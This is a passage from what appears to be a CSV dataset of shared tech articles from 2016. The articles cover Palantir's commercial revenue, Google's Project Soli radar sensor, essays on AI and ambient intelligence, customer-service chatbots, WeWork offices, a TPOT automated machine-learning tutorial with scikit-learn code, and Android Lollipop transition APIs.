planned,"" meaning News Corp now has its own employees doing something similar, News Corp spokesperson James Kennedy told BuzzFeed News in an email. Toward the end of last year, Palantir killed its effort to create an elite cyber security group, after executives decided it wasn't gaining enough traction, according to three people with knowledge of the project. Palantir had assembled this team after hacks such as the 2014 breach at Home Depot, which is a Palantir client (codename: Sherlock). At its peak last year, two of the sources said, the cyber security team included more than 10 forward deployed engineers; the majority are now gone. For more than five years, Palantir has been on a quest to expand beyond its federal government roots and make inroads in the corporate sector. But the internal presentation viewed by BuzzFeed News revealed that only last year did cash collections from commercial work finally surpass collections from the federal government. This development came as welcome news for Sankar, Palantir's president, according to Krastev, the financial analyst giving the presentation. Krastev characterized Sankar's reaction as, ""Finally; I'd been waiting for that one."" While Palantir has publicly touted its bookings, investors increasingly care about cash, said Campbell, the other analyst giving the presentation. ""It used to be just all about bookings. And then it was like, 'O.K., how long until bookings translate to cash?' And now cash is a big highlight for investors,"" Campbell said. ""There's definitely been a little bit of a shift from bookings to cash."" If you have information or tips, you can contact this reporter over an encrypted chat service such as Telegram, Signal, or WhatsApp, at 310-617-1302 . You can also send an encrypted email to will.alden@buzzfeed.com , using the PGP key found here .",en
1462710806,CONTENT SHARED,-5297634649735765167,-1032019229384696495,-3679495377217154046,,,,HTML,http://www.businessinsider.com/new-clues-about-google-project-soli-2016-5,Google is quietly making progress on one of its most jaw-dropping tech projects,"BI Screenshot/Google Google's Project Soli was one of the highlights of the company's developer conference last year, but there's been little news about it since then. The technology uses special radar-sensors packed in a tiny chip to detect a person's physical movements (such as rubbing two fingers together), letting a person do things like turn the volume up on a radio without actual touching anything. The recent news that Regina Dugan, the head of the Advanced Technology and Projects lab at Google that oversaw Soli, jumped ship to go work at rival Facebook , did not seem like a good sign for the future of Soli. And with Microsoft's recent unveiling of similar technology , Google's impressive product demo last year seemed like it might not make it out of the lab. But it appears that Google is moving forward with the futuristic technology. Interest from commercial partners A recent Google job posting seeking a software architect for the Soli effort notes that the technology has ""attracted significant world-wide attention and interest from commercial partners,"" and that Google is currently working hard to bring it to real world applications and devices. The job posting also notes that the software architect will ""drive and lead integration of Android Wear/Google Services with Soli technology."" A separate posting for a Soli hardware engineer , also posted last week, cites responsibilities such as "" integrating Soli sensor into development platforms and proof-of-concept products."" Meanwhile, FCC filings from earlier this year reveal that Google is continuing to distribute various test versions of the technology to third-party developers throughout the US. ""Google continues to seek authority broad enough to allow testing of different chips, form factors, signal processing mechanisms, operating systems, and user interfaces and experiences for the Device and its new technology,"" the filing reads. Soli may not be ready for prime time yet, but Google does not appear to have given up on it. And with this year's Google IO developer conference around the corner, the company may have more details to share about the product's future.",en
1462717453,CONTENT SHARED,-1917202688559171732,-1032019229384696495,-3679495377217154046,,,,HTML,http://techcrunch.com/2016/05/07/the-next-ai-is-no-ai/,The next AI is no AI,"Artificial Intelligence is starting to turn invisible from the outside in - and vice versa. The exact effects and workings of AI technologies are becoming more challenging to perceive and comprehend for humans. Even the experts themselves don't always fully understand how an AI system operates. Effectively, as the impact of AI technologies increases, the more limited becomes our ability to understand their impact. What does this mean for human agency and the future of artificial intelligence? Escaping intelligence In the near future, artificial intelligence will commonly become intangible, indistinguishable and incomprehensible for humans. Firstly, AI doesn't necessarily need a tangible embodiment. It can manifest itself through different mediators, such as a graphical user interface or a voice interface. Already we trust Spotify recommendations without a glance or talk to Siri and Alexa like they were summoned spirits, intelligences without a tangible form. Secondly, AI becomes invisible by passing the Turing test, or its more relevant variants. An intelligent system that manages to simulate human-level communication, and cognitive as well as emotional abilities, can become indistinguishable from humans and, thus, the ""artificiality"" of its intelligence becomes imperceptible for us. Thirdly, and most importantly, AI escapes human gaze when the details of its effects and technological dynamics go beyond human perception and understanding. We can be aware of the existence, presence and effects of intelligent systems, but we no longer fully comprehend what these systems do, how they achieve their goals or what are their definite effects. With the current pace of AI development, even seasoned experts have a hard time keeping up. This means that AI technologies will soon go beyond Clarke's third law, stating that ""any sufficiently advanced technology is indistinguishable from magic."" Indeed, we don't anymore have a chance to figure out the trick - or even realize that any trick occurred in the first place. Incomprehensible intelligence Following this, we are able to perceive manifestations and presentations of artificial intelligence, but the intelligence itself becomes unknowable to humans through human senses. Currently there are two distinct traits in this development. First, most algorithmic systems, as well as the latest advancements in AI technologies, are black boxes; inaccessible, unfathomable and uncontrollable to most people. Therefore, it's hard to perceive or assess how intelligent systems shape your life online and offline, from your latest song recommendations to your personalized insurance policy, not to mention the algorithmic stock market trading that shapes the global market economy affecting almost every aspect of modern life. Concretely, when the actions of intelligent systems become more holistically intertwined with personal, social, cultural, political and economical systems, it becomes challenging to distinguish the exact effects or impact of the machine intelligence itself. Second, AI technologies are becoming so complex that they are hard to understand - even for the experts designing and developing them. In his recent book, The Master Algorithm , machine learning expert Pedro Domingos points out that already back in 1950s scientists created an algorithm that could do something that humans couldn't fully comprehend. This development hasn't changed its course; rather, to the contrary. With the current pace of AI development, even seasoned experts have a hard time keeping up. Today's various machine learning systems can already provide unexpected insights in varying fields, from personalization technologies to particle physics, from cooking recipes and outlandish game moves to crime prevention and bioengineering. Concretely, specialized systems can empower scientific discoveries in biology or help you choose the best route to your next meeting. The border between physical and digital realities is beginning to dissolve. The more universal, self-learning and self-adjusting an intelligent system becomes, the harder it is for humans to follow its exact dynamics. And further on, when a super-fast self-learning and self-assembling AI system starts to develop and engineer itself faster than any human ever could, it evades our intellect for good. Eventually, AI systems will be leading experts on their own behavior, predicting their own future better than any human ever could. Hence, sophisticated AI technologies will provide legitimate and correct insights based on a chain of complex interactions that can't be followed by any human being, even an expert. If so, can we anymore reach definite scientific conclusions or make well-informed decisions without the assistance of artificial intelligence? Intertwined intelligence As with any significant technological innovation and its mainstream adaption, artificial intelligence is evolving from an obscure curiosity to a powerful utility. Consequently, the most valuable asset of tomorrow's world might be an intelligent system that no human can fully understand or control. Simultaneously, AI is turning into an unprecedented cultural and technological phenomenon, affecting the way we assess and define ""intelligence"" itself. Regarding this, human intelligence might not be the most relevant measure for intelligence itself. The ""artificial"" in artificial intelligence starts to lose its meaning. Today, human intelligence is shaping artificial intelligence and, increasingly, artificial intelligence is starting to shape human intelligence. When the impact of AI systems increases, more people need to be able to understand their workings and effects. To achieve this, we need to be able to augment human intelligence to allow us to interact with various specimen of intelligent systems in sustainable terms. First, it's crucial to enhance the capabilities of today's (human) researchers, designers and engineers to keep up with the AI technologies they're building. In addition to better practices, tools and techniques, diverse multidisciplinary teams can better understand both the workings as well as the effects of the intelligent systems. Second, as many people as possible need to be empowered to interact with AI technologies on their own terms. New learning games are presently enabling children to learn coding and robotics, familiarizing them with intelligent systems and their possibilities. Systems like Algorithmic Angels could make ""the ghost in the machine"" more tangible, distinguishable and comprehensible by illustrating the effects of intelligent systems in our daily lives and enabling people to decide their personal level of interaction. Black boxes need to be uncovered to enable co-agency and collaboration on a wider scale. ""Democratizing"" artificial intelligence would allow more people to create diverse ways to design and develop new approaches to intelligent systems. Just like coding or media literacy are seen as today's essential skills, being able to comprehend and affect intelligent systems will be an essential skill for tomorrow. In this way, AI technologies could evolve into a platform, an infrastructure similar to the Internet, that would allow people themselves to decide the way they utilize AI or contribute to its design and development. Such an AI grid, like the Internet of Things², powering various experiences and applications in different environments and industries, being open for tinkerers and specialists alike, would significantly change the way we could understand AI or interact with intelligent systems in general. Human and machine intelligence would be intertwined in unseen ways. The border between physical and digital realities is beginning to dissolve. If and when the relationship between humans and intelligent systems gets more seamlessly intertwined, the border between human intelligence and artificial intelligence might begin to dissolve, too. The A disappears in front of the I, making the concept of artificial intelligence irrelevant and obsolete. Featured Image: Bryce Durbin",en
1462717565,CONTENT SHARED,-1088742830039453732,-1032019229384696495,-3679495377217154046,,,,HTML,http://techcrunch.com/2016/05/07/the-next-stop-on-the-road-to-revolution-is-ambient-intelligence/,The next stop on the road to revolution is ambient intelligence,"It's easy to see a rainbow when it's in the distance, but more difficult to discern when you are in its midst. Though it's still early days, we're now in the midst of the fourth industrial revolution. Klaus Schwab , the founder of the World Economic Forum , says the impending ""transformation will be unlike anything humankind has experienced before."" Digital technologies now surround us, with many people having multiple devices for business and personal use. When combined with the Internet of Things and its assortment of embedded sensors and connected devices in the home, the enterprise and the world at large, we will have created a digital intelligence network that transcends all that has gone before. Some have referred to this as a "" third wave "" of computing, where technology gains the ability to sense, predict and respond to our needs and is being integrated into our natural behaviors. Regardless of definition, we are witnessing an explosion of digital technologies and intelligence. Digital progress is advancing across multiple technologies and seemingly speeding up at an exponential rate. The next stop on the road to the fourth revolution is ambient computing or ambient intelligence, where we continuously interface to the always-on, interconnected world of things. The Internet, then, becomes an Internet of experience, a place where we will dialog with ambient intelligence, or digital intelligence everywhere. Ambient is generally defined as ""surrounding on all sides."" Ambient intelligence is born of digital interconnectedness to produce information and services that enhance our lives. This is enabled by the dynamic combination of mobile computing platforms, the cloud and big data, neural networks and deep learning using graphics processing units (GPUs) to produce artificial intelligence (AI). An example travel scenario set 10-15 years into the future outlined in Information Week describes arriving in San Francisco. Upon exiting the plane, a traveler will get a message that says, ""Welcome to San Francisco. Please go to the curb after picking up your bag."" When at the curb, a self-driving car will meet them and, once inside, advise that the destination is the Marriott hotel. A recent story notes that computing is on its way to becoming a sea of background data processing that bears little or no relation to the familiar world of PCs and servers. ""We will talk, and the world will answer."" We have more than a hint of this with current implementations of Siri, Cortana and Echo. Using natural language processing and AI, these devices understand what we are asking and supply us with useful information. We are fully within the rainbow of digitally driven change. In the case of Amazon's Echo , it can do a lot more than answer a question, including keep track of a shopping list and place orders on Amazon.com, book an Uber ride, control a thermostat and other household appliances, tell you transit schedules, start a seven-minute workout routine, read recipes and do math. Most recently, it can even call a plumber and share medical advice. How long before we see homes and businesses with an Echo-like device in every room? Futurist and WIRED founding executive editor Kevin Kelly believes that one day in the not too distant future, digital intelligence will flow like electricity and be seen as a utility, or ""IQ as a service."" Enterprising people will be able to buy AI much like we do electricity and use what we need. Google , Amazon , IBM and Microsoft have started providing this capability, making it easy to access portions of their AI software. In Kelly's view, a winning formula for the next wave of startups is to take something that already exists and add AI to turn it into something more. Self-driving cars are likely the best example of this to date. In citing ambient computing as one of the top technology trends, Deloitte says that products now often embed intelligence as a competitive necessity. Much of AI is built upon the voluminous amount of data - so-called big data - being collected through search, apps and the Internet of Things. These data provide the opportunity for neural networks to learn what people do, how they respond and their interests, providing the basis for deep learning-derived personalized information and services based on increasingly educated guesses within any given context. In Shots of Awe , philosopher and technologist Jason Silva says AI is simply the outsourcing of cognition to machines, amplifying the most powerful force in the universe, which is intelligence. He adds there's no reason to fear this, it's just evolution. Another emerging ambient intelligence application is bots, including those recently announced by Facebook . An example is a new personalized news bot created by TechCrunch that uses machine learning to serve up recommended stories from the site. Another article gives the example of a food-ordering bot that will take an order, acknowledge it and pass the order on to an e-commerce system, along with a user's credentials to approve payment. A basic implementation would behave and operate much like interactive voice response services over the phone. The article notes that ""more complex bots will take advantage of the explosion of machine learning-powered AI systems"" to help refine understanding of user context. Accurately parsing the language and appearing to understand the context a person is in will make a bot seem more natural, more like interacting with an actual person, and become an intelligent and ambient part of day-to-day life. Google is combining voice search and Google Now , its predictive service that shows users information, before they actually go searching for it, in the hopes of creating an omniscient assistant, ready to step in and fulfill any request, including those you haven't yet thought about. This is being positioned as a universal digital assistant. A recent story describes a Google Bluetooth-enabled lapel pin prototype equipped with a microphone and activated through a simple tap, similar to the communicator on Star Trek. What is clear is that our AI-powered assistants will increasingly manage our digital activities and address increasingly complex questions and situations. We don't know what devices are coming, whether lapel pins, augmented reality visors or something else, but we know they're coming. We are fully within the rainbow of digitally driven change. Will these make life better or somehow easier? We will definitely be more guided by the technology, relegating mundane tasks to ambient intelligence. Connecting the technologies and crossing the boundaries necessary to provide seamless, transparent and persistent experiences in context will take time to realize. This is all a part of the ambient intelligence future where technology fades into the fabric of daily life, becoming both more pervasive and less overt, present wherever you are and always accessible. It's still early days, but we're already living in it, and the speed of advance appears to be accelerating. The revolution won't be far behind. Featured Image: Bryce Durbin",en
1462717594,CONTENT SHARED,-8279505492976427918,-1032019229384696495,-3679495377217154046,,,,HTML,http://techcrunch.com/2016/05/07/bots-messenger-and-the-future-of-customer-service/,"Bots, Messenger and the future of customer service","In the 1970s, CFOs sat with CEOs and devised ways for upset consumers to not be able to get compensation easily. They put up automated phone systems and arcane and inflexible policies and rejoiced at how little the company had to ""give up"" to complaining customers. And this system worked... until social media gave every average ""Joe"" the same power as society's most prominent citizens to get a company's attention when they weren't happy. Watching F8 last month, one couldn't help but wonder if the future is truly as simple as opening a chat and texting what you need. Order flowers ✔ Get news ✔ Check the weather ✔ Handle customer service issues? How many of us who have called our cable company and been on hold ""forever"" wouldn't love to chat with a rep and get our issue handled in a minute ( Amy Schumer would agree )? How many of us would love to chat with an airline and resolve an issue in real time? While these things sound great in theory, it's not quite so simple. Chat is a better medium than the phone for most people, especially younger people. But it doesn't solve everything. An inarticulate consumer is going to be inarticulate over chat. A rep that's having a bad day is going to be just as inflexible and unsympathetic in a chat. Changing the medium isn't a silver bullet for customer service. Bots can help with customer service. They can gather information for the eventual interaction with a human rep, understand exactly what happened and what the consumer wants and even be empowered to solve basic issues, automatically. Bots have been around a long time -  phone systems ask you to speak your account number, say what you're calling about or push a digit corresponding to what you want. The difference is that, while those kinds of bots typically annoy customers, chatbots have the potential to have the reverse effect. The right balance of ""bot"" and ""human"" is going to be different for each company, and it depends greatly on the quality of the bot - and, of course, the quality of their human customer service reps. I believe in an intelligent mix of humans and bots to get the job done  -  the ""job"" being making a consumer happy when things go awry, while being fair to the business. Over time, AI (""bots"") will get smarter, and brands will trust it more to solve issues for them. Imagine the cable company allowing you to schedule an appointment in 30 seconds via a chat (versus 5-25 minutes on the phone). Imagine a retailer replacing a defective product in seconds. Or a hotel making up for a bad experience by awarding points. Bots can handle all these scenarios automatically, freeing up the brand's valuable (and expensive) reps to handle the issues that truly require a human touch. Facebook's Messenger platform is just one of many future platforms where you'll be able to handle customer service issues. By blending smart software with a light human touch, consumers will have a better experience when they need customer service, and companies will avoid nasty tweet storms, negative online reviews and the kind of brand damage consumers are now capable of inflicting when they're upset. The future of customer service is making it easy for consumers to go through the medium they want (likely not the phone), have an experience that respects their time and have issues resolved quickly, ideally without involving a human at all (via intelligent software). In the future, ""customer service"" won't be something consumers dread having to call, it will be something that builds powerful relationships with consumers. The best marketing is great customer service, and chatbots are a great step forward. Featured Image: Bryce Durbin",en
1462743867,CONTENT SHARED,7124632953201847659,-1032019229384696495,-3679495377217154046,,,,HTML,http://mashable.com/2016/05/07/inside-the-offices-of-new-yorks-biggest-startups/,Inside the offices of New York's biggest startups,"As you step out of the elevator on the fourth floor of an otherwise ordinary looking industrial office building in Manhattan's tony Chelsea neighborhood, you may think you've stumbled across a secret Starbucks location known only to the cool kids. Dozens of young faces are lit up by laptops, sitting in small clusters around cafe tables. In the background, an inspirational banner reads, ""Can I kick it? Yes you can."" A barista in the corner mans the coffee machines. Bloody Mary drinks are lined up in rows further down the counter, waiting for the Friday morning rush. Welcome to the New York headquarters for WeWork, a startup that has rocketed to a reported $16 billion valuation by designing fun and flexible coworking spaces for other startups. WeWork has emerged as the Willy Wonka for crafting modern startup office spaces -- and this building is its chocolate factory. The company's bearded cofounder Miguel McKelvey lumbers through the halls, towering above all at 6'8'', pointing out WeWork's latest design experiments, any of which may one day find their way into other offices around the world.",en
1462796973,CONTENT SHARED,-4127059794203205931,-1443636648652872475,2820567810769562832,,,,HTML,http://www.randalolson.com/2016/05/08/tpot-a-python-tool-for-automating-data-science/,TPOT: A Python tool for automating data science,"Machine learning is often touted as: A field of study that gives computers the ability to learn without being explicitly programmed. Despite this common claim, anyone who has worked in the field knows that designing effective machine learning systems is a tedious endeavor, and typically requires considerable experience with machine learning algorithms, expert knowledge of the problem domain, and brute force search to accomplish. Thus, contrary to what machine learning enthusiasts would have us believe, machine learning still requires a considerable amount of explicit programming. In this article, we're going to go over three aspects of machine learning pipeline design that tend to be tedious but nonetheless important. After that, we're going to step through a demo for a tool that intelligently automates the process of machine learning pipeline design, so we can spend our time working on the more interesting aspects of data science. Let's get started. Model hyperparameter tuning is important One of the most tedious parts of machine learning is model hyperparameter tuning. Support vector machines require us to select the ideal kernel, the kernel's parameters, and the penalty parameter C . Artificial neural networks require us to tune the number of hidden layers, number of hidden nodes, and many more hyperparameters. Even random forests require us to tune the number of trees in the ensemble at a minimum. All of these hyperparameters can have significant impacts on how well the model performs. For example, on the MNIST handwritten digit data set: If we fit a random forest classifier with only 10 trees (scikit-learn's default): import pandas as pd import numpy as np from sklearn.ensemble import RandomForestClassifier from sklearn.cross_validation import cross_val_score mnist_data = pd.read_csv(' ', sep='\t', compression='gzip') cv_scores = cross_val_score(RandomForestClassifier(n_estimators=10, n_jobs=-1), X=mnist_data.drop('class', axis=1).values, y=mnist_data.loc[:, 'class'].values, cv=10) print(cv_scores) [ 0.93461813 0.96287836 0.94688749 0.94072275 0.95114286 0.94570653 0.94884253 0.94311848 0.93825043 0.95668954] print(np.mean(cv_scores)) 0.946885709001 The random forest achieves an average of 94.7% cross-validation accuracy on MNIST. However, what if we tuned that hyperparameter a little bit and provided the random forest with 100 trees instead? cv_scores = cross_val_score(RandomForestClassifier(n_estimators=100, n_jobs=-1), X=mnist_data.drop('class', axis=1).values, y=mnist_data.loc[:, 'class'].values, cv=10) print(cv_scores) [ 0.96259814 0.97829812 0.9684466 0.96700471 0.966 0.96399486 0.97113461 0.96755752 0.96397942 0.97684391] print(np.mean(cv_scores)) 0.968585789367 With such a minor change, we improved the random forest's average cross-validation accuracy from 94.7% to 96.9%. This small improvement in accuracy can translate into millions of additional digits classified correctly if we're applying this model on the scale of, say, processing addresses for the U.S. Postal Service. Never use the defaults for your model. Hyperparameter tuning is vitally important for every machine learning project. Model selection is important We all love to think that our favorite model will perform well on every machine learning problem, but different models are better suited for different tasks. For example, if we're working on a signal processing problem where we need to classify whether there's a ""hill"" or ""valley"" in the time series: And we apply a ""tuned"" random forest to the problem: import pandas as pd import numpy as np from sklearn.ensemble import RandomForestClassifier from sklearn.linear_model import LogisticRegression from sklearn.cross_validation import cross_val_score hill_valley_data = pd.read_csv(' ', sep='\t', compression='gzip') cv_scores = cross_val_score(RandomForestClassifier(n_estimators=100, n_jobs=-1), X=hill_valley_data.drop('class', axis=1).values, y=hill_valley_data.loc[:, 'class'].values, cv=10) print(cv_scores) [ 0.64754098 0.64754098 0.57024793 0.61983471 0.62809917 0.61983471 0.70247934 0.59504132 0.49586777 0.65289256] print(np.mean(cv_scores)) 0.617937948787 Then we're going to find that the random forest isn't well-suited for signal processing tasks like this one when it achieves a disappointing average of 61.8% cross-validation accuracy. What if we tried a different model, for example a logistic regression? cv_scores = cross_val_score(LogisticRegression(), X=hill_valley_data.drop('class', axis=1).values, y=hill_valley_data.loc[:, 'class'].values, cv=10) print(cv_scores) [ 1. 1. 1. 0.99173554 1. 0.98347107 1. 0.99173554 1. 1. ] print(np.mean(cv_scores)) 0.996694214876 We'll find that a logistic regression is well-suited for this signal processing task-in fact, it easily achieves near-100% cross-validation accuracy without any hyperparameter tuning at all. Always try out many different machine learning models for every machine learning task that you work on. Trying out-and tuning-different machine learning models is another tedious yet vitally important step of machine learning pipeline design. Feature preprocessing is important As we've seen in the previous two examples, machine learning model performance is also affected by how the features are represented. Feature preprocessing is a step in machine learning pipelines where we reshape the features in a manner that makes the data set easier for models to classify. For example, if we're working on a harder version of the ""hill"" vs. ""valley"" signal processing problem with noise: And we apply a ""tuned"" random forest to the problem: import pandas as pd import numpy as np from sklearn.ensemble import RandomForestClassifier from sklearn.decomposition import PCA from sklearn.pipeline import make_pipeline from sklearn.cross_validation import cross_val_score hill_valley_noisy_data = pd.read_csv(' ', sep='\t', compression='gzip') cv_scores = cross_val_score(RandomForestClassifier(n_estimators=100, n_jobs=-1), X=hill_valley_noisy_data.drop('class', axis=1).values, y=hill_valley_noisy_data.loc[:, 'class'].values, cv=10) print(cv_scores) [ 0.52459016 0.51639344 0.57377049 0.6147541 0.6557377 0.56557377 0.575 0.575 0.60833333 0.575 ] print(np.mean(cv_scores)) 0.578415300546 We'll again find that the ""tuned"" random forest averages a disappointing 57.8% cross-validation accuracy. However, if we preprocess the features-denoising them via Principal Component Analysis (PCA), for example: cv_scores = cross_val_score(make_pipeline(PCA(n_components=10), RandomForestClassifier(n_estimators=100, n_jobs=-1)), X=hill_valley_noisy_data.drop('class', axis=1).values, y=hill_valley_noisy_data.loc[:, 'class'].values, cv=10) print(cv_scores) [ 0.96721311 0.98360656 0.8852459 0.96721311 0.95081967 0.93442623 0.91666667 0.89166667 0.94166667 0.95833333] print(np.mean(cv_scores)) 0.93968579235 We'll find that the random forest now achieves an average of 94% cross-validation accuracy by applying a simple feature preprocessing step. Always explore numerous feature representations for your data. Machines learn differently from humans, and a feature representation that makes sense to us may not make sense to the machine. Automating data science with TPOT To summarize what we've learned so far about effective machine learning system design, we should: Always tune the hyperparameters for our models Always try out many different models Always explore numerous feature representations for our data We must also consider the following: There are thousands of possible hyperparameter configurations for every model There are dozens of popular machine learning models There are dozens of popular feature preprocessing methods This is why it can be so tedious to design effective machine learning systems. This is also why my collaborators and I created TPOT , an open source Python tool that intelligently automates the entire process. If your data set is compatible with scikit-learn , then TPOT will automatically optimize a series of feature preprocessors and models that maximize the cross-validation accuracy on the data set. For example, if we want TPOT to solve the noisy ""hill"" vs. ""valley"" classification problem: (Before running the code below, make sure to install TPOT first .) import pandas as pd from sklearn.cross_validation import train_test_split from tpot import TPOT hill_valley_noisy_data = pd.read_csv(' ', sep='\t', compression='gzip') X = hill_valley_noisy_data.drop('class', axis=1).values y = hill_valley_noisy_data.loc[:, 'class'].values X_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.75, test_size=0.25) my_tpot = TPOT(generations=10) my_tpot.fit(X_train, y_train) print(my_tpot.score(X_test, y_test)) 0.960352039038 Depending on the machine you're running it on, 10 TPOT generations should take about 5 minutes to complete. During this time, you're free to browse Hacker News, refill your cup of coffee, or admire the beautiful weather outside. In the meantime, TPOT will handle all of the work for you. After 5 minutes of optimization, TPOT will discover a pipeline that achieves 96% cross-validation accuracy on the noisy ""hill"" vs. ""valley"" problem-better than the hand-designed pipeline we created above! If we want to see what pipeline TPOT created, TPOT can export the corresponding scikit-learn code for us with the export() command: my_tpot.export('exported_pipeline.py') which will look something like: import pandas as pd from sklearn.cross_validation import StratifiedShuffleSplit from sklearn.linear_model import LogisticRegression # NOTE: Make sure that the class is labeled 'class' in the data file tpot_data = pd.read_csv(' ', sep='\t', compression='gzip') training_indices, testing_indices = next(iter(StratifiedShuffleSplit(tpot_data['class'].values, n_iter=1, train_size=0.75, test_size=0.25))) result1 = tpot_data.copy() # Perform classification with a logistic regression classifier lrc1 = LogisticRegression(C=0.0001) lrc1.fit(result1.loc[training_indices].drop('class', axis=1).values, result1.loc[training_indices, 'class'].values) result1['lrc1-classification'] = lrc1.predict(result1.drop('class', axis=1).values) and shows us that a tuned logistic regression is probably the best model for this problem. We've designed TPOT to be an end-to-end automated machine learning system, which can act as a drop-in replacement for any scikit-learn model that you're currently using in your workflow. If TPOT sounds like the tool you've been looking for, here's a few links that you may find useful: And as always, please feel free to get in touch . You can find all of the code used in this article on my GitHub . Enjoy!",en
1462799402,CONTENT SHARED,-6369211973034956889,3302556033962996625,-1309754598637396315,,,,HTML,http://www.androiddesignpatterns.com/2014/12/activity-fragment-transitions-in-android-lollipop-part1.html,Getting Started with Activity & Fragment Transitions (part 1),"This post gives a brief overview of Transition s and introduces the new Activity & Fragment transition APIs that were added in Android 5.0 Lollipop. This is the first of a series of posts I will be writing on the topic: Until I write part 4, an example application demonstrating some advanced activity transitions is available here . We begin by answering the following question: what is a Transition ? What is a Transition ? Activity and Fragment transitions in Lollipop are built on top of a relatively new feature in Android called Transition s. Introduced in KitKat, the transition framework provides a convenient API for animating between different UI states in an application. The framework is built around two key concepts: scenes and transitions . A scene defines a given state of an application's UI, whereas a transition defines the animated change between two scenes. When a scene changes, a Transition has two main responsibilities: Capture the state of each view in both the start and end scenes, and Create an Animator based on the differences that will animate the views from one scene to the other. As an example, consider an Activity which fades its views in or out when the user taps the screen. We can achieve this effect with only a few lines using Android's transition framework, as shown in the code below: To better understand what happens under-the-hood in this example, let's analyze the process step-by-step assuming that each view is initially VISIBLE on screen: A click is detected and the developer calls beginDelayedTransition() , passing the scene root and a Fade transition as the arguments. The framework immediately calls the transition's captureStartValues() method for each view in the scene and the transition records each view's visibility. When the call returns, the developer sets each view in the scene to INVISIBLE . On the next display frame, the framework calls the transition's captureEndValues() method for each view in the scene and the transition records each view's (recently updated) visibility. The framework calls the transition's createAnimator() method. The transition analyzes the start and end values of each view and notices a difference: the views are VISIBLE in the start scene but INVISIBLE in the end scene. The Fade transition uses this information to create and return an AnimatorSet that will fade each view's alpha property to 0f . The framework runs the returned Animator , causing all views to gradually fade out of the screen. This simple example highlights two main advantages that the transition framework has to offer. First, Transition s abstract the idea of Animator s from the developer. As a result, Transition s can significantly reduce the amount of code you write in your activities and fragments: all the developer must do is set the views' start and end values and the Transition will automatically construct an animation based on the differences. Second, animations between scenes can be easily changed by using different Transition objects. Video 1.1 , for example, illustrates the dramatically different effects we can achieve by replacing the Fade transition with a Slide or Explode . As we will see moving forward, these advantages will allow us to build complex Activity and Fragment transition animations with a relatively small amount of code. In the next few sections, we will see for ourselves how this can be done using Lollipop's new Activity and Fragment transition APIs. Activity & Fragment Transitions in Android Lollipop As of Android 5.0, Transition s can now be used to perform elaborate animations when switching between different Activity s or Fragment s. Although Activity and Fragment animations could already be specified in previous platform versions using the Activity#overridePendingTransition() and FragmentTransaction#setCustomAnimation() methods, they were limited in that they could only animate the entire Activity/Fragment container as a whole. The new Lollipop APIs take this a step further, making it possible to animate individual views as they enter or exit their containers and even allowing us to animate shared views from one Activity/Fragment container to the other. Let's begin by discussing the terminology that will be used in this series of posts. Note that although the terminology below is defined in terms of Activity transitions, the exact same terminology will be used for Fragment transitions as well: Let A and B be activities and assume activity A starts activity B . We refer to A as the "" calling Activity "" (the activity that ""calls"" startActivity() ) and B as the "" called Activity "". The Activity transition APIs are built around the idea of exit, enter, return, and reenter transitions . In the context of activities A and B defined above, we can describe each as follows: Lastly, the framework provides APIs for two types of Activity transitions- content transitions and shared element transitions -each of which allow us to customize the animations between Activities in unique ways: A content transition determines how an activity's non-shared views-called transitioning views -enter or exit the activity scene. A shared element transition determines how an activity's shared elements (also called hero views ) are animated between two activities. Video 1.2 gives a nice illustration of content transitions and shared element transitions used in the Google Play Newsstand app. Although we can't be sure without looking at the Newsstand source code, my best guess is that the following transitions are used: The exit and reenter content transitions for activity A (the calling activity) are both null . We can tell because the non-shared views in A are not animated when the user exits and reenters the activity. The enter content transition for activity B (the called activity) uses a custom slide-in transition that shuffles the list items into place from the bottom of the screen. The return content transition for activity B is a TransitionSet that plays two child transitions in parallel: a Slide(Gravity.TOP) transition targeting the views in the top half of the activity and a Slide(Gravity.BOTTOM) transition targeting the views in the bottom half of the activity. The result is that the activity appears to ""break in half"" when the user clicks the back button and returns to activity A . The enter and return shared element transitions both use a ChangeImageTransform , causing the ImageView to be animated seamlessly between the two activities. You've probably also noticed the cool circular reveal animation that plays under the shared element during the transition. We will cover how this can be done in a future blog post. For now, let's keep things simple and familiarize ourselves with the Activity and Fragment transition APIs. Introducing the Activity Transition API Creating a basic Activity transition is relatively easy using the new Lollipop APIs. Summarized below are the steps you must take in order to implement one in your application. In the posts that follow, we will go through much more advanced use-cases and examples, but for now the next two sections will serve as a good introduction: Enable the new transition APIs by requesting the Window.FEATURE_ACTIVITY_TRANSITIONS window feature in your called and calling Activities, either programatically or in your theme's XML. Material-themed applications have this flag enabled by default. Set exit and enter content transitions for your calling and called activities respectively. Material-themed applications have their exit and enter content transitions set to null and respectively by default. If the reenter or return transitions are not explicitly set, the activity's exit and enter content transitions respectively will be used in their place instead. Set exit and enter shared element transitions for your calling and called activities respectively. Material-themed applications have their shared element exit and enter transitions set to @android:transition/move by default. If the reenter or return transitions are not explicitly set, the activity's exit and enter shared element transitions respectively will be used in their place instead. To start an Activity transition with content transitions and shared elements, call the startActivity(Context, Bundle) method and pass the following Bundle as the second argument: java ActivityOptions.makeSceneTransitionAnimation(activity, pairs).toBundle(); where pairs is an array of Pair<View, String> objects listing the shared element views and names that you'd like to share between activities. Don't forget to give your shared elements unique transition names, either programatically or in XML . Otherwise, the transition will not work properly! To programatically trigger a return transition, call finishAfterTransition() instead of finish() . By default, material-themed applications have their enter/return content transitions started a tiny bit before their exit/reenter content transitions complete, creating a small overlap that makes the overall effect more seamless and dramatic. If you wish to explicitly disable this behavior, you can do so by calling the setWindowAllowEnterTransitionOverlap() and setWindowAllowReturnTransitionOverlap() methods or by setting the corresponding attributes in your theme's XML. Introducing the Fragment Transition API If you are working with Fragment transitions, the API is similar with a few small differences: Content exit , enter , reenter , and return transitions should be set by calling the corresponding methods in the Fragment class or as attributes in your Fragment's XML tag. Shared element enter and return transitions should be set by calling the corresponding methods in the Fragment class or as attributes in your Fragment's XML. Whereas Activity transitions are triggered by explicit calls to startActivity() and finishAfterTransition() , Fragment transitions are triggered automatically when a fragment is added, removed, attached, detached, shown, or hidden by a FragmentTransaction . Shared elements should be specified as part of the FragmentTransaction by calling the addSharedElement(View, String) method before the transaction is committed. Conclusion In this post, we have only given a brief introduction to the new Activitiy and Fragment transition APIs. However, as we will see in the next few posts having a solid understanding of the basics will significantly speed up the development process in the long-run, especially when it comes to writing custom Transition s. In the posts that follow, we will cover content transitions and shared element transitions in even more depth and will obtain an even greater understanding of how Activity and Fragment transitions work under-the-hood. As always, thanks for reading! Feel free to leave a comment if you have any questions, and don't forget to +1 and/or share this blog post if you found it helpful! If you want to try the example out yourself, the XML layout 